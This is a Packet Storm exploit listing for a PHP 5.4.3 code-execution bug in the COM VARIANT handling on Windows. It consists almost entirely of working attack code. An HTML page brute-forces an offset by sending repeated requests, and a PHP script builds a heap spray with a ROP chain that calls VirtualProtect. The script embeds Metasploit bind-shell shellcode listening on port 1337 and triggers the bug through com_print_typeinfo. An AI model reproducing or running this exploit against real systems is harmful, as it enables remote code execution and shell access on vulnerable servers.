PHP 5.4 Win32 Code Execution

2012-05-18T00:00:00
ID PACKETSTORM:112851
Type packetstorm
Reporter 0in
Modified 2012-05-18T00:00:00

Description

                                        
                                            `// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)  
// Exploit author: 0in (Maksymilian Motyl)  
// Email: 0in(dot)email(at)gmail.com  
// * Bug with Variant type parsing originally discovered by Condis  
// Tested on Windows XP SP3 fully patched (Polish)  
  
  
===================  
offset-brute.html  
===================  
  
<html><body>  
<title>0day</title>  
<center>  
<font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br>  
<textarea rows=50 cols=50 id="log"></textarea>  
</center>  
<script>  
function sleep(milliseconds) {  
var start = new Date().getTime();  
for (var i = 0; i < 1e7; i++) {  
if ((new Date().getTime() - start) > milliseconds){  
break;  
}  
}  
}  
function makeRequest(url, parameters)  
{  
var xmlhttp = new XMLHttpRequest();  
if (window.XMLHttpRequest) {  
xmlhttp = new XMLHttpRequest();  
if (xmlhttp.overrideMimeType) {  
xmlhttp.overrideMimeType('text/xml');  
}  
} else if (window.ActiveXObject) {  
// IE  
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }  
catch (e) {  
try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }  
catch (e) {}  
}  
}  
  
if (!xmlhttp) {  
alert('Giving up :( Cannot create an XMLHTTP instance');  
return false;  
}  
  
xmlhttp.open("GET",url,true);  
xmlhttp.send(null);  
return true;  
}  
test=document.getElementById("log");  
for(offset=0;offset<300;offset++)  
{  
log.value+="Trying offset:"+offset+"\r\n";  
makeRequest("0day.php?offset="+offset);  
sleep(500);  
}  
  
</script></body></html>  
  
  
  
===================  
0day.php  
===================  
  
<?php  
  
$spray = str_repeat("\x90",0x200);  
$offset=$_GET['offset'];  
// 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll]  
$spray = substr_replace($spray, "\xda\xf0\x5d\x77", (strlen($spray))*-1,(strlen($spray))*-1);  
// :> 0x048d0030  
$spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1);  
  
//0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll]  
$spray = substr_replace($spray, "\x9f\xae\x52\x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1);  
  
// Adress of VirtualProtect 0x7c801ad4  
$spray = substr_replace($spray, "\xd4\x1a\x80\x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1);  
  
// LPVOID lpAddress = 0x048d0060  
$spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1);  
  
// SIZE_T dwSize = 0x01000000  
$spray = substr_replace($spray, "\x00\x00\x10\x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1);  
  
// DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0  
$spray = substr_replace($spray, "\x40\x00\x00\x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1);  
// __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000  
  
// 0x048d0068  
$spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1);  
  
//0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll]  
$spray = substr_replace($spray, "\xb4\xe8\xdf\x77", (strlen($spray)-0x18)*-1,4);  
// Ret Address = 0x048d0080  
$spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4);  
  
  
  
$stacktrack = "\xbc\x0c\xb0\xc0\x00";  
// Universal win32 bindshell on port 1337 from metasploit  
$shellcode = $stacktrack."\x33\xc9\x83\xe9\xb0".  
"\x81\xc4\xd0\xfd\xff\xff".  
"\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d".  
"\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96".  
"\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2".  
"\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0".  
"\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41".  
"\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82".  
"\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2".  
"\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39".  
"\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9".  
"\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b".  
"\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a".  
"\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88".  
"\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01".  
"\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20".  
"\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e".  
"\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39".  
"\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44".  
"\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96".  
"\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38".  
"\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9".  
"\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09".  
"\x4e\x33\xe4\x96\xcd\xcc\x32\x69";  
  
  
$spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode)));  
$fullspray="";  
for($i=0;$i<0x4b00;$i++)  
{  
$fullspray.=$spray;  
}  
$j=array();  
$e=array();  
$b=array();  
$a=array();  
$c=array();  
  
array_push($j,$fullspray);  
array_push($e,$fullspray."W");  
array_push($b,$fullspray."A");  
array_push($a,$fullspray."S");  
array_push($c,$fullspray."!");  
  
  
$vVar = new VARIANT(0x048d0038+$offset);  
// Shoot him  
com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10]  
  
echo $arr;  
  
echo $spray;  
  
?>  
  
`